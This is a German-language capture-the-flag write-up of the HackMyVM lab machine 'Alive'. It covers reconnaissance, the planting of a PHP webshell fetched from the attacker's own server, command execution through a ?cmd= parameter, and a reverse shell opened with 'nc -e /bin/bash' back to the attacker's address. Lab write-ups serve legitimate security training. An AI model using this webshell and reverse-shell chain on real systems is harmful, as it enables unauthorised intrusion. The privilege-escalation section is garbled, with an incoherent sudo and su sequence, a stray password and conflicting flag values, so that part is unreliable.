Alive - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

nmap
gobuster
nikto
curl
vi
wget
mysql
searchsploit

Inhaltsverzeichnis

Initial Reconnaissance

In dieser Phase werden erste Informationen über das Zielsystem gesammelt. ARP Scan Einsatz von arp-scan zur Identifizierung aktiver Hosts im lokalen Netzwerk.
┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.128 08:00:27:ea:1c:66 PCS Systemtechnik GmbH

Web Enumeration

Port Scanning und Service Enumeration
Mittels nmap werden offene Ports identifiziert und Service-Versionen ermittelt.
Nmap Scan
┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.128 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 22:29 CEST
Nmap scan report for alive.hmv (192.168.2.128)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 269c17ef21363d01c31d6b0d4711cd58 (RSA)
| 256 29266849b0375c0e7b6d818d60988dfc (ECDSA)
|_ 256 132e13190c9da3a73eb8dfab97084188 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Host alive
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:EA:1C:66 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Web Enumeration
Verwendung von gobuster zur Entdeckung versteckter Verzeichnisse und Dateien.
Gobuster Scan
┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.128 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://192.168.2.128/index.php (Status: 200) [Size: 1597]
http://192.168.2.128/tmp (Status: 301) [Size: 312] [--> http://192.168.2.128/tmp/]
==============================================================================================================================
Nikto Scan
Einsatz von nikto zur Identifizierung von Schwachstellen im Webserver.
┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.128
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.128
+ Target Hostname: 192.168.2.128
+ Target Port: 80
+ Start Time: 2023-04-16 22:33:04 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /tmp/: Directory indexing found.
+ /tmp/: This might be interesting.
+ 8103 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2023-04-16 22:33:15 (GMT2) (11 seconds)
---------------------------------------------------------------------------
Abrufen des Inhalts von index.php.
Analyse von index.php
curl -s http://192.168.2.128/index.php } Check if a host is up ! URL:




© 2023 All rights reserved. Contact us at: admin@alive.hmv
Identifizierung und Ausnutzung von index.phtml Lokalisierung und Verwendung von index.phtml für die Codeausführung.
┌──(root㉿cyber)-[~]
└─# vi index.phtml
http://192.168.2.129:8080/index.phtml
Bereitstellung von index.html über einen lokalen Webserver.
Hosting von index.html
┌──(root㉿cyber)-[~]
└─# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.2.128 - - [16/Apr/2023 22:45:15] "GET /index.phtml HTTP/1.1" 200 -
http://192.168.2.129:8080/index.html > tmp/index.phtml
┌──(root㉿cyber)-[~]
└─# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.2.128 - - [16/Apr/2023 22:50:31] "GET /index.html HTTP/1.1" 200 -

Exploitation

Ausnutzung der gefundenen Schwachstellen zur Erlangung von Zugriff auf das System. Command & Control und Reverse Shell
Aufbau einer Reverse Shell über die index.phtml Schwachstelle. 192.168.2.128/tmp/index.phtml?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

192.168.2.128/tmp/index.phtml?cmd=cat%20/etc/passwd%20|%20grep%20bash
root:x:0:0:root:/root:/bin/bash
alexandra:x:1000:1000:alexandra,,,:/home/alexandra:/bin/bash
┌──(root㉿cyber)-[~]
└─# ssh alexandra@alive.hmv
The authenticity of host 'alive.hmv (192.168.2.128)' can't be established. ED25519 key fingerprint is SHA256:SBhxUVmtjWG7yvOCP0xTQp1FuQcWPwcbIwjHwDaiJ4A. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'alive.hmv' (ED25519) to the list of known hosts. Versuch, sich über SSH als Benutzer alexandra anzumelden.
alexandra@alive.hmv's password: Aufbau einer Reverse Shell über nc.
┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
192.168.2.128/tmp/index.phtml?cmd=nc -e /bin/bash 192.168.2.129 9001 Reverse Shell Stabilisierung
Erhöhung der Benutzerrechte auf dem System. Suche nach SUID Binaries Auflisten von Dateien mit SUID-Bit. www-data@alive:/var/www/code$ sudo -l
Wir vertrauen darauf, dass Sie die übliche Vorlesung vom örtlichen System erhalten haben
Administrator. Es läuft normalerweise auf diese drei Dinge hinaus:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for www-data: sudo: a password is required
┌──(root㉿cyber)-[~]
└─# stty raw -echo;fg
[1] + continued nc -lvnp 9001
w-data@alive:/var/www/code$ find / -type f -perm -4000 -ls 2>/dev/null
416155 472 -rwsr-xr-x 1 root root 481608 Jul 2 2022 /usr/lib/openssh/ssh-keysign
407593 52 -rwsr-xr-- 1 root messagebus 51336 Oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
391772 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd
391773 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
395793 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount
391770 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
391769 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
395267 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp
395426 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su
395795 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount
424093 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo
Zugriff auf user.txt Versuch, die user.txt Datei zu lesen.
www-data@alive:/home/alexandra$ cat user.txt
cat: user.txt: Permission denied
www-data@alive:/home/alexandra$ echo test > .ssh/test.txt
bash: .ssh/test.txt: Permission denied
www-data@alive:/home/alexandra$ ls .ssh/
ls: cannot open directory '.ssh/': Permission denied
www-data@alive:/tmp$
Ls /home/alexandra/.ssh/
ls: cannot open directory '/home/alexandra/.ssh/': Permission denied
Analyse von /opt/
Untersuchung des /opt/ Verzeichnisses.
www-data@alive:/opt$ ls -la total 16
drwxr-xr-x. 2 root root 4096 Jan 28 11:32 .
drwxr-xr-x. 18 root root 4096 Jan 17 07:01 ..
-rw-r--r-- 1 www-data www-data 252 Jan 14 10:04 backup.zip
-r--r--r--. 1 www-data www-data 149 Jan 14 10:04 index.html Download von backup.zip
Herunterladen der backup.zip Datei.
www-data@alive:/opt$ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
192.168.2.129 - - [16/Apr/2023 23:08:02] "GET /backup.zip HTTP/1.1" 200 -
┌──(root㉿cyber)-[~]
└─# wget http://192.168.2.128:8001/backup.zip
-2023-04-16 23:08:00-- http://192.168.2.128:8001/backup.zip
Verbindungsaufbau zu 192.168.2.128:8001 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 252 [application/zip]
Wird in »backup.zip« gespeichert.

backup.zip 100%[=============================>] 252 --.-KB/s in 0,02s

2023-04-16 23:08:00 (15,7 KB/s) - »backup.zip« gespeichert [252/252]
Analyse von backup.zip
Analyse und Entpacken von backup.zip
┌──(root㉿cyber)-[~]
└─# ll
total 298512
-rw-r--r-- 1 root root 252 14. Jan 10:04 backup.zip
┌──(root㉿cyber)-[~]
└─# zip2john backup.zip > hash
ver 2.0 backup.zip/digitcode.bak is not encrypted,
or stored with non-handled compression type
┌──(root㉿cyber)-[~]
└─# unzip backup.zip
Archive: backup.zip
inflating: digitcode.bak
┌──(root㉿cyber)-[~]
└─# file digitcode.bak
digitcode.bak: ASCII text
┌──(root㉿cyber)-[~]
└─# cat digitcode.bak
host: alive.hmv
location: /var/www/code
param: digit
code: 494147203525673
Privilege Escalation Erhöhung der Benutzerrechte auf dem System.
MySQL Shell
Erhöhung der Berechtigung mit MySQL.
www-data@alive:/tmp/$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
The Password for the "administrator" is required : heLL0alI4ns
Die Passworteingabe erfolgt erst nachdem wir uns als www-data zu root gemacht haben
Ww-data@alive:/tmp/$ su admin cat root.txt 0b29729cf5d1a3dbd9e70c0df6cf4a49 < Flags
Flags
cat root.txt
819be2c3422a6121dac7e8b1da21ce32 cat user.txt
1637c0ee2d19e925bd6394c847a62ed5
Penetrationstest Bericht © 2023 Penetrationstest Bericht